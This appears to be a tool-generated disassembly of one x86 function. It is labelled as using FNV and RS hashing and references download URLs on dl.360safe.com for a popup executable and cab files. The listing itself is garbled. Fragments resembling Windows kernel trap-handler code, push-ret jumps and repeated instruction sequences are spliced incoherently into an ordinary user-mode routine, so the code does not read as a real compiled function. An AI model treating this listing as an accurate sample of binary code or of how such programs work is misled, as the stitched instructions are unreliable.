Function at 0x1003c810
Capabilities:
Hash data using fnv
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10097cc0
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
push ebx
push esi
push edi
mov eax, dword [0x100b0380]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], 0
push 4
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x18], eax
push 4
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
call fcn.10079c4e
cdq
mov ecx, 0x65
idiv ecx
add edx, 2
mov eax, dword [ebp - 0x18]
mov dword [eax], edx
call fcn.10079c4e
cdq
mov ecx, 0x65
idiv ecx
add edx, 0x200
mov eax, dword [ebp - 0x24]
mov dword [eax], edx
push 0x100dbb28
mov eax, 0x100e3aa4
call fcn.10057600
test eax, eax
je 0x1003c8d8
mov eax, 0x100dbb28
call fcn.10025aa0
test eax, eax
jne 0x1003ca85
push 0x108
xor edx, edx
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
call fcn.1002d4f0
add esp, 4
push esi
push edi
mov esi, dword [ebp - 0x18]
mov edi, esi
cmp dword [edi], 0x211
jle 0x1003c9a1
pop edx
inc dword fs:[0x638]
mov esi, edx
mov ebx, dword [edi + 0xc]
xor ecx, ecx
mov cl, byte [eax + ebx]
mov edi, dword [edi]
mov ebx, dword [edi + eax*4]
sub esp, ecx
mov edi, dword [ebp + 0x68]
mov dword [ebp + 0xc], edx
mov dword [ebp + 8], 0xbadb0d00
mov dword [ebp], ebx
mov dword [ebp + 4], edi
push dword ds:[0xffdf0304]
push 0
push ebp
push ebx
push esi
push edi
mov ebx, dword fs:[0x1c]
cmp dword [ebp - 0x20], 0xa
jge 0x1003c95e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x34]
xor edx, dword [ecx + eax*4]
imul edx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edx
jmp 0x1003cb90
mov eax, dword [ebp - 0x34]
shl eax, 0xd
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
sar eax, 7
xor eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x34]
lea edx, [ecx + eax*8]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
sar eax, 0x11
xor eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
shl eax, 5
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, 0x1003cbf3
push eax
ret
push edi
pop edi
pop edi
pop esi
mov eax, eax
push 1
push 5
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x38], esp
mov edx, 0x100dbb28
call fcn.10013330
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 4], 0
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x3c], esp
mov edx, str.http:__dl.360safe.com_inst_gf_popup.exe
call fcn.10013330
mov dword [ebp - 0xd4], eax
mov edx, dword [ebp - 0xd4]
mov dword [ebp - 0xd8], edx
mov byte [ebp - 4], 1
mov dword [ebp - 4], 0xffffffff
call fcn.10037610
add esp, 0x40
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x1003ca41
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.10079c70
add esp, 4
mov edx, dword [ebp - 0x24]
push edx
call fcn.10079c70
add esp, 4
xor eax, eax
jmp 0x1003ce25
mov eax, 0x100dbb28
call fcn.10025aa0
test eax, eax
jne 0x1003ca6e
mov eax, dword [ebp - 0x18]
push eax
call fcn.10079c70
add esp, 4
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.10079c70
add esp, 4
xor eax, eax
jmp 0x1003ce25
push 0x109
xor edx, edx
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
call fcn.1002d4f0
add esp, 4
jmp 0x1003ca9a
push 0x107
xor edx, edx
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
call fcn.1002d4f0
add esp, 4
mov edx, dword [ebp + 0xc]
push edx
push 0x100dbb28
mov eax, dword [ebp + 8]
call fcn.1003c610
add esp, 8
cmp dword [ebp + 8], 1
jne 0x1003ce08
push 1
push 1
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x40], esp
mov edx, 0x100dbd30
call fcn.10013330
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 4], 2
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x44], esp
mov edx, str.http:__dl.360safe.com_gf_def.cab
call fcn.10013330
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xe8]
mov dword [ebp - 0xec], ecx
mov byte [ebp - 4], 3
mov dword [ebp - 4], 0xffffffff
call fcn.10037610
add esp, 0x40
mov dword [ebp - 0xf0], eax
mov edx, dword [ebp - 0xf0]
mov dword [ebp - 0x30], edx
push 0x28
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0x1000193
mov dword [ebp - 0x34], 0x811c9dc5
cmp dword [ebp - 0x20], 0xa
jge 0x1003cb84
mov eax, dword [ebp - 0x20]
imul eax, eax, 0x13
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x14]
mov dword [edx + ecx*4], eax
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + eax*4]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x14]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
jmp 0x1003cb4f
mov dword [ebp - 0x20], 0
jmp 0x1003c940
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
cmp dword [eax], 0x101
jge 0x1003c940
mov dword [ebp + 0xc], edx
mov dword [ebp + 8], 0xbadb0d00
add edi, dword [esi + 0xe0]
mov ebx, eax
and eax, 0xfff
cmp eax, dword [edi + 8]
cmp ecx, 0x10
inc dword fs:[0x638]
mov esi, edx
mov ebx, dword [edi + 0xc]
xor ecx, ecx
xor ecx, ecx
mov cl, byte [eax + ebx]
mov edi, dword [edi]
mov ebx, dword [edi + eax*4]
sub esp, ecx
shr ecx, 2
mov edi, esp
mov esp, ebp
cmp eax, dword [edi + 8]
cmp ecx, 0x10
mov ecx, dword fs:[0x18]
shr eax, 4
xor eax, eax
push ebx
pop eax
mov eax, dword [ebp - 0x14]
push eax
call fcn.10079c70
add esp, 4
mov ecx, dword [ebp + 0x10]
and ecx, 2
jne 0x1003ce08
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [str.http:__dl.360safe.com_gf__u.cab]
push eax
push 0x100dee60
mov ecx, 0x104
call fcn.10018220
add esp, 0xc
push 1
push 1
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x48], esp
mov edx, 0x100dbf38
call fcn.10013330
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], ecx
mov dword [ebp - 4], 4
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x4c], esp
mov edx, 0x100dee60
call fcn.10013330
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xfc]
mov dword [ebp - 0x100], edx
mov byte [ebp - 4], 5
mov dword [ebp - 4], 0xffffffff
call fcn.10037610
add esp, 0x40
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x30], eax
push 0x28
call fcn.10079b72
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0x5c6b7
mov dword [ebp - 0x2c], 0xf8c9
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x34], 0xa
jge 0x1003cdb3
mov eax, dword [ebp - 0x34]
imul eax, eax, 9
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x18]
cmp dword [edx], 0x200
jle 0x1003cd62
pushfd
push 2
add edx, 8
popfd
push dword ds:[0xffdf0803]
push 0
mov dword [ebp + 0xc], edx
mov dword [ebp + 8], 0xbadb0d00
pop edx
sub esp, ecx
shr ecx, 2
mov edi, esp
mov ecx, dword fs:[0x40]
mov esp, dword [ecx + 4]
mov edx, dword [ebp - 0x18]
cmp dword [edx], 0x200
jne 0x1003cd9f
push 0x23
mov ebx, dword fs:[0x1c]
push 0x3b
mov esi, dword [ebx + 0x124]
test byte [esi + 0x2c], 0xff
mov dword [esi + 0x134], ebp
mov ebx, dword [ebp + 0x60]
mov ebx, eax
and eax, 0xfff
cmp eax, dword [edi + 8]
cmp ecx, 0x10
mov edi, dword [edi]
mov ebx, dword [edi + eax*4]
sub esp, ecx
shr ecx, 2
mov edi, esp
xor ebx, ebx
or ebx, dword [ecx + 0xf70]
push edx
push eax
mov edx, 0x1003cd16
push edx
ret
mov edx, dword [ebp - 0x14]
mov dword [edx + ecx*4], eax
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
jmp 0x1003cccc
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
jmp 0x1003cdcc
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xa
jge 0x1003cdf1
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
jmp 0x1003cdc3
mov eax, dword [ebp - 0x34]
and eax, 0x7fffffff
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10079c70
add esp, 4
mov edx, dword [ebp - 0x18]
push edx
call fcn.10079c70
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
call fcn.10079c70
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret